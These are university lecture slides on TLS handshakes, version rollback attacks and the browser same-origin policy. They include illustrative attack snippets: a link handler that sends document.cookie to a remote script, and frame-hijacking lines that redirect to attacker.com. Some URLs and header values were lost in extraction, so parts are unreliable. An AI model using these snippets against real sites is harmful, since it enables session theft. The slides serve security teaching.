Web Security [SSL/TLS and Browser Security Model]
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1 CSE 484 / CSE M 584: Computer Security and Privacy Web Security [SSL/TLS and Browser Security Model] Fall 2017 Franziska (Franzi) Roesner franzi@cs.washington.edu Thanks to Dan Boneh, Dieter Gollmann, Dan Halperin, Yoshi Kohno, Ada Lerner, John Manferdelli, John Mitchell, Vitaly Shmatikov, Bennet Yee, and many others for sample slides and materials...
2 Keys for People: Keybase Basic idea: Rely on existing trust of a person s ownership of other accounts (e.g., Twitter, GitHub, website) Each user publishes signed proofs to their linked account 11/1/17 CSE 484 / CSE M Fall
3 SSL/TLS Secure Sockets Layer and Transport Layer Security protocols Same protocol design, different crypto algorithms De facto standard for Internet security The primary goal of the TLS protocol is to provide privacy and data integrity between two communicating applications Deployed in every Web browser; also VoIP, payment systems, distributed systems, etc. 11/1/17 CSE 484 / CSE M Fall
4 TLS Basics TLS consists of two protocols Familiar pattern for key exchange protocols Handshake protocol Use public-key cryptography to establish a shared secret key between the client and the server Record protocol Use the secret symmetric key established in the handshake protocol to protect communication between the client and the server 11/1/17 CSE 484 / CSE M Fall
5 Basic Handshake Protocol ClientHello C Client announces (in plaintext): Protocol version it is running Cryptographic algorithms it supports Fresh, random number S 11/1/17 CSE 484 / CSE M Fall
6 Basic Handshake Protocol C, version c, suites c, N c ServerHello C Server responds (in plaintext) with: Highest protocol version supported by both the client and the server Strongest cryptographic suite selected from those offered by the client Fresh, random number S 11/1/17 CSE 484 / CSE M Fall
7 Basic Handshake Protocol C, version c, suites c, N c version s, suite s, N s, ServerKeyExchange C Server sends his public-key certificate containing either his RSA, or his Diffie-Hellman public key (depending on chosen crypto suite) S 11/1/17 CSE 484 / CSE M Fall
8 Basic Handshake Protocol C, version c, suites c, N c version s, suite s, N s, certificate, ServerHelloDone C ClientKeyExchange S The client generates secret key material and sends it to the server encrypted with the server s public key (if using RSA) 11/1/17 CSE 484 / CSE M Fall
9 Basic Handshake Protocol C, version c, suites c, N c version s, suite s, N s, certificate, ServerHelloDone C {Secret c } PKs if using RSA C and S share secret key material (secret c ) at this point switch to keys derived from secret c, N c, N s switch to keys derived from secret c, N c, N s S Finished Finished Record of all sent and received handshake messages 11/1/17 CSE 484 / CSE M Fall
10 Core SSL 3.0 Handshake C, version c =3.0, suites c, N c version s =3.0, suite s, N s, certificate, ServerHelloDone C {Secret c } PKs if using RSA C and S share secret key material (secret c ) at this point switch to keys derived from secret c, N c, N s switch to keys derived from secret c, N c, N s S Finished Finished 11/1/17 CSE 484 / CSE M Fall
11 Version Rollback Attack C, version c =2.0, suites c, N c Server is fooled into thinking he is communicating with a client who supports only SSL 2.0 Version s =2.0, suite s, N s, certificate, ServerHelloDone C {Secret c } PKs if using RSA S C and S end up communicating using SSL 2.0 (weaker earlier version of the protocol that does not include Finished messages) 11/1/17 CSE 484 / CSE M Fall
12 Chosen-Protocol Attacks Why do people release new versions of security protocols? Because the old version got broken! New version must be backward-compatible Not everybody upgrades right away Attacker can fool someone into using the old, broken version and exploit known vulnerability Similar: fool victim into using weak crypto algorithms Defense is hard: must authenticate version in early designs Many protocols had version rollback attacks SSL, SSH, GSM (cell phones) 11/1/17 CSE 484 / CSE M Fall
13 Version Check in SSL 3.0 C, version c =3.0, suites c, N c C Embed version number into secret {version c, secret c } PKs version s =3.0, suite s, N s, certificate for PK s, ServerHelloDone Check that received version is equal to the version in ClientHello S C and S share secret key material secret c at this point switch to key derived from secret c, N c, N s switch to key derived from secret c, N c, N s 11/1/17 CSE 484 / CSE M Fall
14 Browser Security Model 11/1/17 CSE 484 / CSE M Fall
15 Big Picture: Browser and Network Browser OS Hardware request reply website Network 11/1/17 CSE 484 / CSE M Fall
16 HTTP: HyperText Transfer Protocol Used to request and return data Methods: GET, POST, HEAD, Stateless request/response protocol Each request is independent of previous requests Statelessness has a significant impact on design and implementation of applications Evolution HTTP 1.0: simple HTTP 1.1: more complex 11/1/17 CSE 484 / CSE M Fall
17 HTTP Request Method File HTTP version Headers GET /default.asp HTTP/1.0 Accept: image/gif, image/x-bitmap, image/jpeg, */* Accept-Language: en User-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 95) Connection: Keep-Alive If-Modified-Since: Sunday, 17-Apr-96 04:32:58 GMT Blank line Data none for GET 11/1/17 CSE 484 / CSE M Fall
18 HTTP Response HTTP version Status code Reason phrase Headers HTTP/ OK Date: Sun, 21 Apr :20:42 GMT Server: Microsoft-Internet-Information-Server/5.0 Connection: keep-alive Content-Type: text/html Last-Modified: Thu, 18 Apr :39:05 GMT Content-Length: 2543 Data <HTML> Some data... blah, blah, blah </HTML> 11/1/17 CSE 484 / CSE M Fall
19 Website Storing Info in Browser A cookie is a file created by a website to store information in the browser Browser POST login.cgi username and pwd HTTP Header: Set-cookie: NAME=VALUE ; domain = (who can read) ; expires = (when expires) ; secure = (send only over HTTPS) Server If expires = NULL, this session only Browser GET restricted.html Cookie: NAME=VALUE Server HTTP is a stateless protocol; cookies add state 11/1/17 CSE 484 / CSE M Fall
20 What Are Cookies Used For? Authentication The cookie proves to the website that the client previously authenticated correctly Personalization Helps the website recognize the user from a previous visit Tracking Follow the user from site to site; learn his/her browsing behavior, preferences, and so on 11/1/17 CSE 484 / CSE M Fall
21 Two Sides of Web Security Web browser Responsible for securely confining Web content presented by visited websites Web applications Online merchants, banks, blogs, Google Apps Mix of server-side and client-side code Server-side code written in PHP, Ruby, ASP, JSP runs on the Web server Client-side code written in JavaScript runs in the Web browser Many potential bugs: XSS, XSRF, SQL injection 11/1/17 CSE 484 / CSE M Fall
22 All of These Should Be Safe Safe to visit an evil website Safe to visit two pages at the same time Safe delegation 11/1/17 CSE 484 / CSE M Fall
23 Where Does the Attacker Live? Browser OS Malware Hardware attacker request Network attacker reply website Web Network attacker 11/1/17 CSE 484 / CSE M Fall
24 Web Attacker Controls a malicious website (attacker.com) Can even obtain an SSL/TLS certificate for his site User visits attacker.com why? Phishing , enticing content, search results, placed by an ad network, blind luck Attacker has no other access to user machine! Variation: iframe attacker An iframe with malicious content included in an otherwise honest webpage Syndicated advertising, mashups, etc. 11/1/17 CSE 484 / CSE M Fall
25 HTML and JavaScript <html> <p> The script on this page adds two numbers <script> var num1, num2, sum num1 = prompt("enter first number") num2 = prompt("enter second number") sum = parseint(num1) + parseint(num2) alert("sum = " + sum) </script> </html> Browser receives content, displays HTML and executes scripts A potentially malicious webpage gets to execute some code on user s machine! 11/1/17 CSE 484 / CSE M Fall
26 Browser Sandbox Goal: safely execute JavaScript code provided by a website No direct file access, limited access to OS, network, browser data, content that came from other websites Same origin policy Can only access properties of documents and windows from the same domain, protocol, and port 11/1/17 CSE 484 / CSE M Fall
27 Same-Origin Policy Website origin = (scheme, domain, port) [Example thanks to Wikipedia.] 11/1/17 CSE 484 / CSE M Fall
28 Same-Origin Policy is Subtle! Some examples of how messy it gets in practice Browsers don t (or didn t) always get it right... We ll talk about: DOM / HTML Elements Navigation Cookie Reading Cookie Writing Iframes vs. Scripts 11/1/17 CSE 484 / CSE M Fall
29 Same-Origin Policy: DOM Only code from same origin can access HTML elements on another site (or in an iframe) m/iframe.html m/iframe.html (the parent) can access HTML elements in the iframe (and vice versa). (the parent) cannot access HTML elements in the iframe (and vice versa). 11/1/17 CSE 484 / CSE M Fall
30 Problem: Who Can Navigate a Frame? awglogin window.open(" window.open(" "awglogin") If bad frame can navigate sibling frames, attacker gets password! 11/1/17 CSE 484 / CSE M Fall
![Problem: Gadget Hijacking in Mashups top.frames[1].location = "http:/www.attacker.com/... ; top.](/docs-images/92/107868368/images/31-0.jpg "frames[2].location = \"http:/www.attacker.com/... ;... 11/1/17 CSE 484 / CSE M 584 - Fall 2017 31")
31 Problem: Gadget Hijacking in Mashups top.frames[1].location = " ; top.frames[2].location = " ;... 11/1/17 CSE 484 / CSE M Fall
32 Problem: Gadget Hijacking in Mashups Solution: Modern browsers only allow a frame to navigate its descendent frames 11/1/17 CSE 484 / CSE M Fall
33 Same-Origin Policy: Cookies For cookies: Only code from same origin can read/write cookies associated with an origin. Can be set via Javascript (document.cookie= ) or via Set-Cookie header in HTTP response. Can narrow to subdomain/path (e.g., can set cookie scoped to (Caveats soon!) Secure cookie: send only via HTTPS. HttpOnly cookie: can t access using JavaScript. 11/1/17 CSE 484 / CSE M Fall
34 Same-Origin Policy: Cookie Reading First-party cookie: belongs to top-level domain. Third-party cookie: belongs to domain of embedded content. s cookie (1 st party) Bar s Server s cookie (3 rd party) Foo s Server 11/1/17 CSE 484 / CSE M Fall
35 Same Origin Policy: Cookie Writing domain: any domain suffix of URL-hostname, except top-level domain (TLD) ü ü Which cookies can be set by login.site.com? allowed domains login.site.com.site.com disallowed domains user.site.com othersite.com.com login.site.com can set cookies for all of.site.com but not for another site or TLD Problematic for sites like.washington.edu path: anything û û û 11/1/17 CSE 484 / CSE M Fall
36 Problem: Who Set the Cookie? Alice logs in at login.site.com login.site.com sets session-id cookie for.site.com Alice visits evil.site.com Overwrites.site.com session-id cookie with session-id of user badguy -- not a violation of SOP! Alice visits cse484.site.com to submit homework cse484.site.com thinks it is talking to badguy Problem: cse484.site.com expects session-id from login.site.com, cannot tell that session-id cookie has been overwritten by a sibling domain 11/1/17 CSE 484 / CSE M Fall
37 Problem: Path Separation is Not Secure Cookie SOP: path separation When the browser visits x.com/a, it does not send the cookies of x.com/b This is done for efficiency, not security! DOM SOP: no path separation A script from x.com/a can read DOM of x.com/b <iframe src= x.com/b"></iframe> alert(frames[0].document.cookie); 11/1/17 CSE 484 / CSE M Fall
38 Same-Origin Policy: Scripts When a website includes a script, that script runs in the context of the embedding website. <head> <script src= in.com/library.js"></ script> </head> The code from can access HTML elements and cookies on If code in the script sets a cookie, under what origin will it be set? 11/1/17 CSE 484 / CSE M Fall
39 Cookie Theft Cookies often contain authentication token Stealing such a cookie == accessing account Cookie theft via malicious JavaScript <a href="#" onclick="window.location=' le.cgi?cookie= +document.cookie; return false;">click here!</a> Cookie theft via network eavesdropping Cookies included in HTTP requests One of the reasons HTTPS is important! 11/1/17 CSE 484 / CSE M Fall
40 Firesheep 11/1/17 CSE 484 / CSE M Fall
41 Cross-Origin Communication? Websites can embed scripts, images, etc. from other origins. But: AJAX requests (aka XMLHttpRequests) are not allowed across origins. On example.com: <script> var xhr = new XMLHttpRequest(); xhr.onreadystatechange = handlestatechange; // Elsewhere xhr.open("get", true); xhr.send(); </script> 11/1/17 CSE 484 / CSE M Fall
42 Cross-Origin Communication? Websites can embed scripts, images, etc. from other origins. But: AJAX requests (aka XMLHttpRequests) are not allowed across origins. Why not? Browser automatically includes cookies with requests (i.e., user credentials are sent) Caller can read returned data (clear SOP violation) 11/1/17 CSE 484 / CSE M Fall
43 Allowing Cross-Origin Communication Domain relaxation If two frames each set document.domain to the same value, then they can communicate E.g. facebook.com, and chat.facebook.com Must be a suffix of the actual domain Access-Control-Allow-Origin: <list of domains> Specifies one or more domains that may access DOM Typical usage: Access-Control-Allow-Origin: * HTML5 postmessage Lets frames send messages to each other in controlled fashion Unfortunately, many bugs in how frames check sender s origin 11/1/17 CSE 484 / CSE M Fall
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